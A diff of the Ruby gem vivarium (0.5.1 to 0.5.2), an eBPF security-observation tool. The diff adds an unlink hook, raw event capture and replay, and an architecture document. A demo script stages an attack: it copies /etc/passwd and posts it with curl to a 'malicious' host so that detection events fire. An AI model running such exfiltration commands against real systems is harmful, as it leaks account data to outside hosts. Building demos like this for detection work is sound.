vivarium 0.5.1 → 0.5.2

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 43539002d1068c28f470c91be68c64227c36312b72d4dc35a39ce89248cc0a97
-  data.tar.gz: 7f1d83e733fcedc3094897317b0273c26a8e5317428dda1917022facd58b02c6
+  metadata.gz: 332c9bfd2267f44bac72dea2cf344bd5c515613333f18a479f830d72c0133749
+  data.tar.gz: af42fd7731c9c211fd34b120125793214d485c0567310e4b3d70866eaafcbf3f
 SHA512:
-  metadata.gz: b7ef0d3e7501bd259fd405a09870eb785e042c920b93bbe93f6efb1804fafba44a5538df9a20c809934732338c49ffc6c29a3fcff74b5395fe7e7b86449fd849
-  data.tar.gz: 250af21f03f00cb7cbec31b8bdced3b3b5effe618da48df1f0f83b1b5f42025085c35ec436506eef5ee60664f9bc7dfda6cb712e82fc18dfc9a3acd77893ba39
+  metadata.gz: f3543e2ee6a9b03a9916fb501957779b543782b8e247d66f084dddbd1372bfcc4de91082d7c875b25d7ff12fc9ad905c8675387df8eb049e40b2e57db121ff18
+  data.tar.gz: 604698d87ca591abdab4ead63bfd0053c43c9e5caaf86524eca626561a5e4e8bc47f267546ad4ac6882dd1f5f6692acf77eabf1e545aae0bba73b73daebf7033

data/ARCHITECTURE.md

@@ -0,0 +1,140 @@
+# Vivarium Architecture
+
+System architecture diagram of Vivarium.
+
+```mermaid
+graph TB
+    subgraph Kernel["Kernel Space"]
+        LSM["LSM Hook<br/>- file_open<br/>- socket_connect<br/>- task_kill<br/>- ptrace_access<br/>etc"]
+        TP["Tracepoint<br/>- sys_enter_execve<br/>- sched_process_fork<br/>- sys_enter_sendmsg<br/>etc"]
+        UprobeSSL["uprobes<br/>- SSL_write<br/>- libc:getenv<br/>- libc:setenv"]
+        
+        BPF["BPF Program<br/>(loaded by vivariumd)"]
+        
+        LSM --> BPF
+        TP --> BPF
+        UprobeSSL --> BPF
+        
+        MAP["Shared BPF Maps<br/>(bpffs)<br/>- config_root_targets<br/>- config_spawned_targets"]
+        BPF --> MAP
+        
+        RINGBUF["BPF Ringbuffer<br/>- Kernel events<br/>- uprobe events"]
+        BPF --> RINGBUF
+    end
+    
+    subgraph Daemon["vivariumd (root privilege)"]
+        DAEMON["BPF Program<br/>Loader & Manager"]
+        APISERVER["API Server<br/>(HTTP over UDS)"]
+        
+        DAEMON --> MAP
+        DAEMON --> RINGBUF
+        APISERVER --> MAP
+        APISERVER --> RINGBUF
+    end
+    
+    subgraph Client["Target Ruby Process"]
+        OBS["Vivarium.observe"]
+        TP_PROBE["TracePoint<br/>:call/:return"]
+        USDT_PROBE["USDT Probes<br/>- span_start<br/>- span_stop<br/>- span_raise"]
+        CORRELATOR["Correlator<br/>(Events ← Spans)"]
+        RENDER["Tree Renderer"]
+        
+        OBS --> TP_PROBE
+        TP_PROBE --> USDT_PROBE
+        USDT_PROBE --> CORRELATOR
+        CORRELATOR --> RENDER
+    end
+    
+    subgraph UDS["UDS Communication<br/>(/run/vivarium/vivariumd.sock)"]
+        REG["PID Register/Unregister<br/>PUT /targets/PID<br/>DELETE /targets/PID"]
+        EVENT_STREAM["Event Stream<br/>GET /events"]
+    end
+    
+    DAEMON <--> UDS
+    OBS <--> REG
+    CORRELATOR <--> EVENT_STREAM
+    
+    USDT_PROBE -.via Ringbuf.-> RINGBUF
+    
+    MAP -->|Spawned PID Tracking| RINGBUF
+    RENDER -->|Final Output| OUTPUT["Process Tree<br/>with Events"]
+    
+    style Kernel fill:#e1f5ff
+    style Daemon fill:#fff3e0
+    style Client fill:#f3e5f5
+    style UDS fill:#e8f5e9
+```
+
+## Components Description
+
+### 1. **vivariumd (Run with root privilege)**
+- Load BPF program into the kernel
+- Enable LSM Hook, Tracepoint, and uprobe
+- Manage Shared BPF Maps (bpffs)
+- Communicate with clients via HTTP API over Unix Domain Socket (UDS)
+
+### 2. **Kernel Space Event Sources**
+
+#### LSM Hook (Linux Security Module)
+- `file_open` - When a file is opened
+- `socket_connect` - When a socket connects
+- `socket_create` - When a socket is created
+- `task_kill` - When a signal is sent
+- `ptrace_access_check` - When ptrace is attempted
+- Others: `sb_mount`, `kernel_read_file`, `capable_check`, etc.
+
+#### Tracepoint
+- `sys_enter_execve` - When a process is executed
+- `sched_process_fork` - When a process forks (spawn tracking)
+- `sys_enter_sendmsg/sendto/sendmmsg` - When DNS is sent
+- `sys_enter_getdents64` - When directory entries are read
+
+#### uprobes
+- **libssl**: `SSL_write` - Monitor SSL communication
+- **libc**: `getenv`, `setenv`, `unsetenv`, `putenv`, `clearenv` - Monitor environment variable access
+- **Vivarium USDT Probe**: `span_start`, `span_stop`, `span_raise` - Ruby method boundaries
+
+### 3. **Shared BPF Maps** (pinned on bpffs: `/sys/fs/bpf/vivarium/`)
+- `config_root_targets` - Root PID map (registered by user-side)
+- `config_spawned_targets` - Spawned TID map (automatically tracked by sched_process_fork)
+- `events` - BPF_RINGBUF_OUTPUT (event delivery)
+
+### 4. **BPF Ringbuffer**
+- **Kernel events**: Fired from LSM Hook and Tracepoint
+- **USDT events** (`span_start`, `span_stop`, `span_raise`): Fired from Ruby process via uprobe
+- Event structure `event_t`:
+  ```c
+  {
+    u64 ktime_ns;    // Kernel timestamp
+    u32 pid;         // Process ID
+    u32 tid;         // Thread ID
+    char event_name[16];    // Event name
+    char payload[256];      // Payload (device-specific)
+  }
+  ```
+
+### 5. **Target Ruby Process**
+- Monitor code within `Vivarium.observe { ... }` block
+- **TracePoint** (`:call`, `:return`): Detect Ruby method calls
+- **USDT Probe** (Ruby::Box): Fire uprobe with `span_start`, `span_stop`, `span_raise`
+- These events are sent to vivariumd **via Ringbuf**
+- **Correlator**: Correlate kernel events received from Ringbuf to Span by timestamp and TID
+- **Tree Renderer**: Visualize method tree and events
+
+### 6. **UDS Communication** (Unix Domain Socket)
+Communicate via HTTP-over-UDS:
+- `PUT /targets/{pid}` - Register PID as observation target → record in `config_root_targets`
+- `DELETE /targets/{pid}` - Unregister
+- `GET /events` - Open event stream (chunked response)
+- `GET /healthz` - Health check
+
+## Data Flow
+
+1. **Initialization**: Ruby process calls `Vivarium.observe`
+2. **PID Registration**: Register PID to vivariumd via UDS → record in `config_root_targets`
+3. **Fork Tracking**: `sched_process_fork` Tracepoint automatically records Spawned TID in `config_spawned_targets`
+4. **Event Generation**: LSM Hook/Tracepoint/uprobe output events to Ringbuf
+5. **USDT Firing**: Ruby TracePoint :call/:return fires USDT probe → span_start/span_stop events
+6. **Event Reception**: Correlator reads Ringbuf events via UDS
+7. **Correlation**: Assign kernel events within span_start/span_stop time window to corresponding Span
+8. **Visualization**: Display method tree and event history as final output

data/README.md

@@ -17,11 +17,7 @@ The goal is to visualize which Ruby method context triggered low-level events.
 
 Implemented in this repository:
 
-- BPF LSM hook on `file_open`
-- BPF LSM hooks on `inode_symlink`, `inode_link`, `inode_rename`, `path_chmod`
-- BPF tracepoint on `sys_enter_getdents64`
-- BPF tracepoint on `sys_enter_execve` (captures executable path and first few argv entries as `proc_exec`)
-- BPF tracepoint on `sched_process_fork` (tracks descendants and emits `proc_fork`)
+ BPF LSM hooks on `inode_symlink`, `inode_link`, `inode_rename`, `inode_unlink` (filename and parent directory name are captured as reference information only), `path_chmod`
 - BPF LSM hooks for suspicious behavior checks:
 	- `ptrace_access_check` (emits `ptrace_check`)
 	- `sb_mount` (emits `sb_mount`)
@@ -113,7 +109,7 @@ This demo intentionally triggers `sock_connect`, `dns_req`, and `odd_socket` eve
 bundle exec ruby examples/file_operation_demo.rb
 ```
 
-This demo intentionally triggers `path_open`, `file_symlink`, `file_hardlink`, `file_rename`, `file_chmod`, and `file_getdents` events under `/tmp`.
+This demo intentionally triggers `path_open`, `file_symlink`, `file_hardlink`, `file_rename`, `file_chmod`, `file_unlink`, and `file_getdents` events under `/tmp`.
 
 5) Execve demo client:
 

data/examples/dummy_post_demo.rb

@@ -0,0 +1,9 @@
+def debug_output(msg)
+  $stderr.puts("[DEBUG] #{msg}") if ENV["VIVARIUM_DEBUG"]
+end
+
+debug_output "=== dummy attack demo ==="
+system "cat /etc/passwd > /tmp/___________copy.txt 2>&1 || true"
+system "curl -d@/tmp/___________copy.txt http://malicious.udzura.jp >/dev/null 2>&1 || true"
+system "rm -f /tmp/___________copy.txt >/dev/null 2>&1 || true"
+debug_output "=== done ==="

data/examples/file_operation_demo.rb

@@ -11,7 +11,7 @@ require "vivarium"
 
 TMP_PREFIX = "vivarium-file-demo"
 FILTER = {
-  include_events: %w[path_open file_symlink file_hardlink file_rename file_chmod file_getdents]
+  include_events: %w[path_open file_symlink file_hardlink file_rename file_chmod file_unlink file_getdents]
 }.freeze
 
 def try_step(title)
@@ -57,6 +57,14 @@ Dir.mktmpdir(TMP_PREFIX, "/tmp") do |dir|
       File.stat(renamed_path)
     end
 
+    try_step("unlink hardlink") do
+      File.unlink(hardlink_path)
+    end
+
+    try_step("unlink symlink") do
+      File.unlink(symlink_path)
+    end
+
     try_step("list directory again") do
       Dir.children(dir)
     end

data/examples/save_raw_demo.rb

@@ -0,0 +1,46 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require "net/http"
+require "uri"
+require "vivarium"
+
+# Where to write the raw capture. Override with VIVARIUM_RAW_PATH.
+RAW_PATH = ENV.fetch("VIVARIUM_RAW_PATH", "/tmp/vivarium_save_raw_demo.vivraw")
+
+# Usage:
+#   1) In another shell (root): sudo bundle exec vivariumd
+#   2) Run this script: bundle exec ruby examples/save_raw_demo.rb
+#   3) Render the saved capture later (as many times as you like):
+#        bundle exec vivarium report #{RAW_PATH}
+#        bundle exec vivarium report --all #{RAW_PATH}   # ignore the default filter
+#
+# Note: when `save_raw:` is given, observation runs in *save-only* mode — no live
+# tree is drawn. The full, unfiltered event stream is written to RAW_PATH, so you
+# can re-report the same capture with different filters afterwards.
+
+Vivarium.observe(save_raw: RAW_PATH) do
+  # A few security-relevant actions to capture:
+
+  # File write (LSM path_open + File span)
+  path = "/tmp/vivarium_save_raw_demo.txt"
+  File.write(path, "hello from save_raw demo\n")
+  File.chmod(0o600, path)
+  File.delete(path)
+
+  # Outbound HTTPS (ssl_write + sock_connect + dns_req)
+  begin
+    uri = URI("https://udzura.jp/")
+    Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
+      http.get(uri.request_uri)
+    end
+  rescue StandardError => e
+    warn "[save_raw_demo] Net::HTTP failed: #{e.class}: #{e.message}"
+  end
+
+  # Spawn a child process (proc_fork / proc_exec)
+  system("true")
+end
+
+puts "[save_raw_demo] raw events saved to #{RAW_PATH}"
+puts "[save_raw_demo] render it with: bundle exec vivarium report #{RAW_PATH}"

data/lib/vivarium/cli.rb

@@ -1,6 +1,7 @@
 # frozen_string_literal: true
 
 require "optparse"
+require "json"
 
 module Vivarium
   module CLI
@@ -10,11 +11,21 @@ module Vivarium
         opts.banner = "Usage: vivarium [options] <command> [args]"
         opts.separator ""
         opts.separator "Commands:"
-        opts.separator "  load <script>    Load and observe a Ruby script"
+        opts.separator "  load <script>       Load and observe a Ruby script"
+        opts.separator "  report <raw-file>   Render a saved raw event file"
         opts.separator ""
         opts.separator "Options:"
         opts.on("--socket PATH", "vivariumd Unix domain socket path") { |v| options[:socket_path] = v }
         opts.on("-o", "--output PATH", "Log output file (default: stdout)") { |v| options[:dest] = File.open(v, "a") }
+        opts.on("--save-raw PATH", "load: save raw events to PATH instead of rendering") { |v| options[:save_raw] = v }
+        opts.on("--all", "report: show all events (ignore default filter)") { options[:show_all] = true }
+        opts.on("--filter JSON", "report: filter as a JSON object (overrides --event/default)") { |v| options[:filter_json] = v }
+        opts.on("--event NAMES", "report: comma-separated event names to include") do |v|
+          options[:event_names] = v.split(",").map(&:strip).reject(&:empty?)
+        end
+        opts.on("--max-span-depth N", Integer, "report: collapse method spans deeper than N (events kept)") do |v|
+          options[:max_span_depth] = v
+        end
       end
       parser.order!(argv)
 
@@ -22,6 +33,8 @@ module Vivarium
       case command
       when "load"
         run_load!(argv, options)
+      when "report"
+        run_report!(argv, options)
       else
         abort parser.help
       end
@@ -33,9 +46,58 @@ module Vivarium
       abort "File not found: #{script}" unless File.exist?(script)
 
       Vivarium.observe(socket_path: options[:socket_path], dest: options[:dest],
-                       filter: Vivarium::DEFAULT_FILTER) do
+                       filter: Vivarium::DEFAULT_FILTER, save_raw: options[:save_raw]) do
         Kernel.load(File.expand_path(script))
       end
     end
+
+    def self.run_report!(argv, options)
+      raw = argv.shift
+      abort "Usage: vivarium report <raw-file>" unless raw
+      abort "File not found: #{raw}" unless File.exist?(raw)
+
+      data =
+        begin
+          File.open(raw, "rb") { |io| Vivarium::RawStore.load(io) }
+        rescue Vivarium::RawStore::FormatError => e
+          abort "Invalid vivarium-raw file #{raw}: #{e.message}"
+        end
+      meta = data[:meta]
+      filter = resolve_report_filter(options)
+      if options[:max_span_depth]
+        filter = (filter || {}).merge(max_span_depth: options[:max_span_depth])
+      end
+
+      Vivarium::TreeRenderer.new(
+        events: data[:events],
+        observer_pid: meta[:observer_pid],
+        main_tid: meta[:main_tid],
+        session_start_iso: meta[:session_start_iso],
+        session_start_ktime: meta[:session_start_ktime],
+        session_stop_iso: meta[:session_stop_iso],
+        session_stop_ktime: meta[:session_stop_ktime],
+        filter: filter,
+        dest: options[:dest]
+      ).render
+    end
+
+    # Resolve the report display filter by precedence:
+    #   --all  >  --filter JSON  >  --event NAMES  >  DEFAULT_FILTER
+    def self.resolve_report_filter(options)
+      return nil if options[:show_all]
+
+      if options[:filter_json]
+        begin
+          return JSON.parse(options[:filter_json])
+        rescue JSON::ParserError => e
+          abort "Invalid --filter JSON: #{e.message}"
+        end
+      end
+
+      names = options[:event_names]
+      return { include_events: names } if names && !names.empty?
+
+      Vivarium::DEFAULT_FILTER
+    end
   end
 end

data/lib/vivarium/correlator.rb

@@ -7,21 +7,20 @@ module Vivarium
   # Unix domain socket, reads chunked raw event_t records, accumulates them, and
   # renders a tree on stop. It never touches BPF maps or the ring buffer directly.
   class Correlator
-    RawEvent = Struct.new(
-      :ktime_ns, :pid, :tid, :event_name, :payload, :dropped_since_last,
-      keyword_init: true
-    )
-
     # Grace period after stop to let trailing events drain through the stream.
     DRAIN_SLEEP = 0.3
 
+    # In save_raw mode, emit a progress line every this many captured events.
+    SAVE_RAW_PROGRESS_INTERVAL = 1000
+
     def initialize(socket_path: Vivarium.socket_path, observer_pid:, main_tid:,
-                   filter: nil, dest: $stdout)
+                   filter: nil, dest: $stdout, save_raw: nil)
       @socket_path = socket_path
       @observer_pid = observer_pid
       @main_tid = main_tid
       @filter = filter
       @dest = dest
+      @save_raw = save_raw
 
       @client = DaemonClient.new(socket_path: socket_path)
       @events = []
@@ -55,17 +54,24 @@ module Vivarium
       events_snapshot = @events_mutex.synchronize { @events.dup }
       @stopped = true
 
-      TreeRenderer.new(
-        events: events_snapshot,
+      meta = {
         observer_pid: @observer_pid,
         main_tid: @main_tid,
         session_start_iso: @session_start_iso,
         session_start_ktime: @session_start_ktime,
         session_stop_iso: @session_stop_iso,
-        session_stop_ktime: @session_stop_ktime,
-        filter: @filter,
-        dest: @dest
-      ).render
+        session_stop_ktime: @session_stop_ktime
+      }
+
+      if @save_raw
+        File.open(@save_raw, "wb") do |io|
+          Vivarium::RawStore.dump(io, events: events_snapshot, meta: meta)
+        end
+        warn "[vivarium] save_raw: saved #{events_snapshot.size} events -> #{@save_raw}"
+        return
+      end
+
+      TreeRenderer.new(events: events_snapshot, **meta, filter: @filter, dest: @dest).render
     end
 
     private
@@ -108,28 +114,18 @@ module Vivarium
     end
 
     def capture_event(bytes)
-      bytes = bytes.to_s.b
-      bytes = bytes.ljust(Vivarium::EVENT_STRUCT_SIZE, "\x00") if bytes.bytesize < Vivarium::EVENT_STRUCT_SIZE
-
-      ktime_ns           = bytes[Vivarium::EVENT_TS_OFFSET,      Vivarium::EVENT_TS_SIZE].unpack1("Q<")
-      pid                = bytes[Vivarium::EVENT_PID_OFFSET,     4].unpack1("L<")
-      tid                = bytes[Vivarium::EVENT_TID_OFFSET,     4].unpack1("L<")
-      event_name         = Vivarium.c_string(bytes[Vivarium::EVENT_NAME_OFFSET, Vivarium::EVENT_NAME_SIZE])
-      payload            = bytes[Vivarium::EVENT_PAYLOAD_OFFSET, Vivarium::EVENT_PAYLOAD_SIZE].to_s.b
-      dropped_since_last = bytes[Vivarium::EVENT_DROPPED_OFFSET, 8].unpack1("Q<")
-
-      @events_mutex.synchronize do
-        @events << RawEvent.new(
-          ktime_ns: ktime_ns,
-          pid: pid,
-          tid: tid,
-          event_name: event_name,
-          payload: payload,
-          dropped_since_last: dropped_since_last
-        )
-      end
+      ev = Vivarium::RawStore.unpack_record(bytes)
+      count = @events_mutex.synchronize { @events << ev; @events.size }
+      report_save_progress(count)
     rescue StandardError => e
       warn "[vivarium correlator] capture error: #{e.class}: #{e.message}"
     end
+
+    def report_save_progress(count)
+      return unless @save_raw
+      return unless (count % SAVE_RAW_PROGRESS_INTERVAL).zero?
+
+      warn "[vivarium] save_raw: captured #{count} events -> #{@save_raw}"
+    end
   end
 end

data/lib/vivarium/display_filter.rb

@@ -4,7 +4,8 @@ require "set"
 
 module Vivarium
   class DisplayFilter
-    attr_reader :include_events, :exclude_events, :include_severities, :include_pids, :include_tids
+    attr_reader :include_events, :exclude_events, :include_severities, :include_pids, :include_tids,
+                :max_span_depth
 
     def self.compile(raw)
       return new if raw.nil?
@@ -28,6 +29,7 @@ module Vivarium
 
       @include_span_names = normalize_string_set(fetch_key(:include_span_names, :span_names))
       @span_pattern = normalize_pattern(fetch_key(:span, :span_pattern))
+      @max_span_depth = normalize_integer(fetch_key(:max_span_depth, :max_depth))
 
       payload_value = fetch_key(:payload)
       @payload_pattern = normalize_pattern(fetch_key(:payload_pattern))
@@ -128,6 +130,15 @@ module Vivarium
       end
     end
 
+    def normalize_integer(value)
+      return nil if value.nil?
+
+      n = Integer(value)
+      n.positive? ? n : nil
+    rescue ArgumentError, TypeError
+      nil
+    end
+
     def normalize_pattern(value)
       case value
       when nil

data/lib/vivarium/raw_store.rb

@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require "json"
+
+module Vivarium
+  RawEvent = Struct.new(
+    :ktime_ns, :pid, :tid, :event_name, :payload, :dropped_since_last,
+    keyword_init: true
+  )
+
+  # Reads and writes the vivarium-raw file format: a single JSON metadata line
+  # followed by fixed-size (EVENT_STRUCT_SIZE) event_t records. The record layout
+  # mirrors the C struct event_t so it round-trips losslessly.
+  module RawStore
+    # Raised when a file is not a valid vivarium-raw capture.
+    class FormatError < StandardError; end
+
+    FORMAT = "vivarium-raw"
+    VERSION = 1
+    PACK_FMT = "Q<L<L<a16a256Q<" # struct event_t (296B)
+
+    def self.pack_record(ev)
+      [
+        ev.ktime_ns, ev.pid, ev.tid,
+        ev.event_name.to_s.b.ljust(EVENT_NAME_SIZE, "\x00")[0, EVENT_NAME_SIZE],
+        ev.payload.to_s.b.ljust(EVENT_PAYLOAD_SIZE, "\x00")[0, EVENT_PAYLOAD_SIZE],
+        ev.dropped_since_last
+      ].pack(PACK_FMT)
+    end
+
+    def self.unpack_record(bytes)
+      bytes = bytes.to_s.b
+      bytes = bytes.ljust(EVENT_STRUCT_SIZE, "\x00") if bytes.bytesize < EVENT_STRUCT_SIZE
+
+      RawEvent.new(
+        ktime_ns:           bytes[EVENT_TS_OFFSET,      EVENT_TS_SIZE].unpack1("Q<"),
+        pid:                bytes[EVENT_PID_OFFSET,      4].unpack1("L<"),
+        tid:                bytes[EVENT_TID_OFFSET,      4].unpack1("L<"),
+        event_name:         Vivarium.c_string(bytes[EVENT_NAME_OFFSET, EVENT_NAME_SIZE]),
+        payload:            bytes[EVENT_PAYLOAD_OFFSET,  EVENT_PAYLOAD_SIZE].to_s.b,
+        dropped_since_last: bytes[EVENT_DROPPED_OFFSET,  8].unpack1("Q<")
+      )
+    end
+
+    # io: a binary-writable IO. meta: session metadata Hash.
+    def self.dump(io, events:, meta:)
+      header = meta.merge(
+        format: FORMAT, version: VERSION,
+        event_struct_size: EVENT_STRUCT_SIZE, event_count: events.size
+      )
+      io.binmode
+      io.write(JSON.generate(header))
+      io.write("\n")
+      events.each { |ev| io.write(pack_record(ev)) }
+    end
+
+    # Returns { meta: Hash(symbol keys), events: [RawEvent, ...] }.
+    def self.load(io)
+      io.binmode
+      line = io.gets
+      raise FormatError, "empty file" if line.nil?
+
+      begin
+        meta = JSON.parse(line, symbolize_names: true)
+      rescue JSON::ParserError => e
+        raise FormatError, "header is not valid JSON: #{e.message}"
+      end
+      raise FormatError, "missing JSON object header" unless meta.is_a?(Hash)
+      unless meta[:format] == FORMAT
+        raise FormatError, "format=#{meta[:format].inspect} (expected #{FORMAT.inspect})"
+      end
+
+      events = []
+      while (rec = io.read(EVENT_STRUCT_SIZE))
+        break if rec.bytesize < EVENT_STRUCT_SIZE
+
+        events << unpack_record(rec)
+      end
+      { meta: meta, events: events }
+    end
+  end
+end

data/lib/vivarium/tree_renderer.rb

@@ -84,6 +84,8 @@ module Vivarium
       all_spans_for_assign = (synthetic_spans + real_spans).sort_by { |s| s.start_ktime || 0 }
       assign_events_to_spans(all_spans_for_assign, sorted)
 
+      collapse_deep_spans(root_real_spans)
+
       print_header
       print_warnings
       print_observer_proc(root_with_synthetics)
@@ -142,6 +144,47 @@ module Vivarium
       [closed, children_map]
     end
 
+    # Trim method-call span nesting deeper than @display_filter.max_span_depth.
+    # The deep span frames are dropped, but their events are promoted onto the
+    # deepest still-visible ancestor span so no security-relevant event is lost.
+    def collapse_deep_spans(root_real_spans)
+      max = @display_filter.max_span_depth
+      return unless max
+
+      depth = {}
+      stack = root_real_spans.map { |s| [s, 1] }
+      until stack.empty?
+        span, d = stack.pop
+        depth[span] = d
+        (@children_map[span] || []).each { |child| stack.push([child, d + 1]) }
+      end
+
+      depth.each do |span, d|
+        next unless d == max
+
+        descendants = collect_descendant_spans(span)
+        next if descendants.empty?
+
+        descendants.each do |desc|
+          span.events.concat(desc.events)
+          desc.events = []
+        end
+        span.events.sort_by!(&:ktime_ns)
+        @children_map[span] = []
+      end
+    end
+
+    def collect_descendant_spans(span)
+      result = []
+      stack = (@children_map[span] || []).dup
+      until stack.empty?
+        child = stack.pop
+        result << child
+        stack.concat(@children_map[child] || [])
+      end
+      result
+    end
+
     def assign_descendants(spans, events)
       sorted_spans = spans.reject(&:synthetic).sort_by(&:start_ktime)
 

data/lib/vivarium/version.rb

@@ -1,5 +1,5 @@
 # frozen_string_literal: true
 
 module Vivarium
-  VERSION = "0.5.1"
+  VERSION = "0.5.2"
 end

data/lib/vivarium.rb

@@ -330,6 +330,15 @@ module Vivarium
     "old_name=#{old_name.inspect} new_name=#{new_name.inspect}"
   end
 
+  def self.decode_file_unlink_payload(raw_payload)
+    bytes = raw_payload.to_s.b
+     filename = c_string(bytes[0, 128])
+     parent_dir = c_string(bytes[128, 128])
+     result = "filename=#{filename.inspect}"
+     result += " parent_dir=#{parent_dir.inspect}" if !parent_dir.empty?
+     result
+  end
+
   def self.decode_file_chmod_payload(raw_payload)
     bytes = raw_payload.to_s.b
     return "" if bytes.bytesize < 2
@@ -563,6 +572,9 @@ module Vivarium
     when "file_rename"
       decoded = decode_file_rename_payload(event.payload)
       decoded.empty? ? event.payload.inspect : decoded
+    when "file_unlink"
+      decoded = decode_file_unlink_payload(event.payload)
+      decoded.empty? ? event.payload.inspect : decoded
     when "file_chmod"
       decoded = decode_file_chmod_payload(event.payload)
       decoded.empty? ? event.payload.inspect : decoded
@@ -640,6 +652,11 @@ module Vivarium
         struct qstr d_name;
       };
 
+      struct dentry {
+        char __pad[__VIVARIUM_DENTRY_D_PARENT_OFFSET__];
+        struct dentry *d_parent;
+      };
+
       struct sockaddr_t {
         u16 sa_family;
         unsigned char sa_data[14];
@@ -1423,6 +1440,33 @@ module Vivarium
         return 0;
       }
 
+      LSM_PROBE(inode_unlink, struct inode *dir, struct dentry *dentry)
+      {
+        u64 pid_tgid = bpf_get_current_pid_tgid();
+        u32 pid = pid_tgid >> 32;
+        u32 tid = (u32)pid_tgid;
+
+        if (!target_enabled(pid, tid)) {
+          return 0;
+        }
+
+        struct event_t ev = {};
+        ev.pid = pid;
+        __builtin_memcpy(ev.event_name, "file_unlink", 12);
+
+        if (dentry) {
+           read_dentry_name(dentry, &ev.payload[0], 128);
+         
+           struct dentry *parent = dentry->d_parent;
+           if (parent && parent != dentry) {
+             read_dentry_name(parent, &ev.payload[128], 128);
+           }
+        }
+
+        submit_event(&ev);
+        return 0;
+      }
+
       LSM_PROBE(path_chmod, struct path *path, umode_t mode)
       {
         u64 pid_tgid = bpf_get_current_pid_tgid();
@@ -1717,9 +1761,11 @@ module Vivarium
 
       f_path_offset = detect_f_path_offset
       d_name_offset = detect_dentry_d_name_offset
+      d_parent_offset = detect_dentry_d_parent_offset
       program = BPF_PROGRAM_TEMPLATE
         .gsub("__VIVARIUM_F_PATH_OFFSET__", f_path_offset.to_s)
         .gsub("__VIVARIUM_DENTRY_D_NAME_OFFSET__", d_name_offset.to_s)
+        .gsub("__VIVARIUM_DENTRY_D_PARENT_OFFSET__", d_parent_offset.to_s)
 
       usdt_so_paths = resolve_usdt_so_paths
       usdt_contexts = build_usdt_contexts(usdt_so_paths)
@@ -1756,6 +1802,7 @@ module Vivarium
       puts "[vivariumd] started"
       puts "[vivariumd] pinned maps in #{@pin_dir}"
       puts "[vivariumd] watching LSM file_open (f_path offset=#{f_path_offset})"
+      puts "[vivariumd] watching inode_unlink (d_parent offset=#{d_parent_offset}, d_name offset=#{d_name_offset})"
       puts "[vivariumd] API listening on unix:#{@socket_path}"
 
       loop do
@@ -2062,6 +2109,56 @@ module Vivarium
     rescue Errno::ENOENT
       raise Error, "bpftool is required to resolve struct dentry::d_name offset"
     end
+
+    def detect_dentry_d_parent_offset
+      env_offset = ENV["VIVARIUM_DENTRY_D_PARENT_OFFSET"]
+      return Integer(env_offset, 10) if env_offset
+
+      raw = IO.popen(
+        %w[bpftool btf dump file /sys/kernel/btf/vmlinux format raw],
+        err: IO::NULL,
+        &:read
+      )
+
+      in_dentry_struct = false
+      d_parent_bits_offset = nil
+
+      raw.each_line do |line|
+        if line =~ /^\[\d+\] STRUCT 'dentry' /
+          in_dentry_struct = true
+          next
+        end
+
+        if in_dentry_struct && line.start_with?("[")
+          break
+        end
+
+        next unless in_dentry_struct
+
+        if (match = line.match(/'d_parent'.*bits_offset=(\d+)/))
+          d_parent_bits_offset = Integer(match[1], 10)
+          break
+        end
+      end
+
+      if d_parent_bits_offset
+        if (d_parent_bits_offset % 8).positive?
+          raise Error, "unsupported d_parent bits offset=#{d_parent_bits_offset}"
+        end
+
+        if d_parent_bits_offset >= 1024
+          warn "[vivariumd] suspicious d_parent offset=#{d_parent_bits_offset / 8}, fallback to offset=0"
+          return 0
+        end
+
+        return d_parent_bits_offset / 8
+      end
+
+      warn "[vivariumd] could not find struct dentry::d_parent in BTF, fallback to offset=0"
+      0
+    rescue Errno::ENOENT
+      raise Error, "bpftool is required to resolve struct dentry::d_parent offset"
+    end
   end
 
   class ObservationSession
@@ -2083,15 +2180,15 @@ module Vivarium
     end
   end
 
-  def self.observe(socket_path: self.socket_path, dest: $stdout, filter: nil, &block)
+  def self.observe(socket_path: self.socket_path, dest: $stdout, filter: nil, save_raw: nil, &block)
     if block_given?
-      return scoped_observe(socket_path: socket_path, dest: dest, filter: filter, &block)
+      return scoped_observe(socket_path: socket_path, dest: dest, filter: filter, save_raw: save_raw, &block)
     end
 
-    top_observe(socket_path: socket_path, dest: dest, filter: filter)
+    top_observe(socket_path: socket_path, dest: dest, filter: filter, save_raw: save_raw)
   end
 
-  def self.top_observe(socket_path: self.socket_path, dest: $stdout, filter: nil)
+  def self.top_observe(socket_path: self.socket_path, dest: $stdout, filter: nil, save_raw: nil)
     client = DaemonClient.new(socket_path: socket_path)
     pid = Process.pid
     main_tid = gettid
@@ -2101,7 +2198,8 @@ module Vivarium
       observer_pid: pid,
       main_tid: main_tid,
       filter: filter,
-      dest: dest
+      dest: dest,
+      save_raw: save_raw
     )
     correlator.start
     client.register(pid)
@@ -2116,7 +2214,7 @@ module Vivarium
     session
   end
 
-  def self.scoped_observe(socket_path: self.socket_path, dest:, filter: nil)
+  def self.scoped_observe(socket_path: self.socket_path, dest:, filter: nil, save_raw: nil)
     client = DaemonClient.new(socket_path: socket_path)
     pid = Process.pid
     main_tid = gettid
@@ -2126,7 +2224,8 @@ module Vivarium
       observer_pid: pid,
       main_tid: main_tid,
       filter: filter,
-      dest: dest
+      dest: dest,
+      save_raw: save_raw
     )
     correlator.start
     client.register(pid)
@@ -2260,6 +2359,7 @@ end
 
 require_relative "vivarium/daemon_client"
 require_relative "vivarium/api_server"
+require_relative "vivarium/raw_store"
 require_relative "vivarium/correlator"
 require_relative "vivarium/display_filter"
 require_relative "vivarium/tree_renderer"

data/sig/vivarium.rbs

@@ -69,6 +69,7 @@ module Vivarium
   def self.decode_file_symlink_payload: (String raw_payload) -> String
   def self.decode_file_hardlink_payload: (String raw_payload) -> String
   def self.decode_file_rename_payload: (String raw_payload) -> String
+  def self.decode_file_unlink_payload: (String raw_payload) -> String
   def self.decode_file_chmod_payload: (String raw_payload) -> String
   def self.decode_file_getdents_payload: (String raw_payload) -> String
   def self.render_event_payload: (Event event) -> String

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: vivarium
 version: !ruby/object:Gem::Version
-  version: 0.5.1
+  version: 0.5.2
 platform: ruby
 authors:
 - Uchio Kondo
@@ -61,6 +61,7 @@ executables:
 extensions: []
 extra_rdoc_files: []
 files:
+- ARCHITECTURE.md
 - CONTEXT.md
 - LICENSE
 - README.md
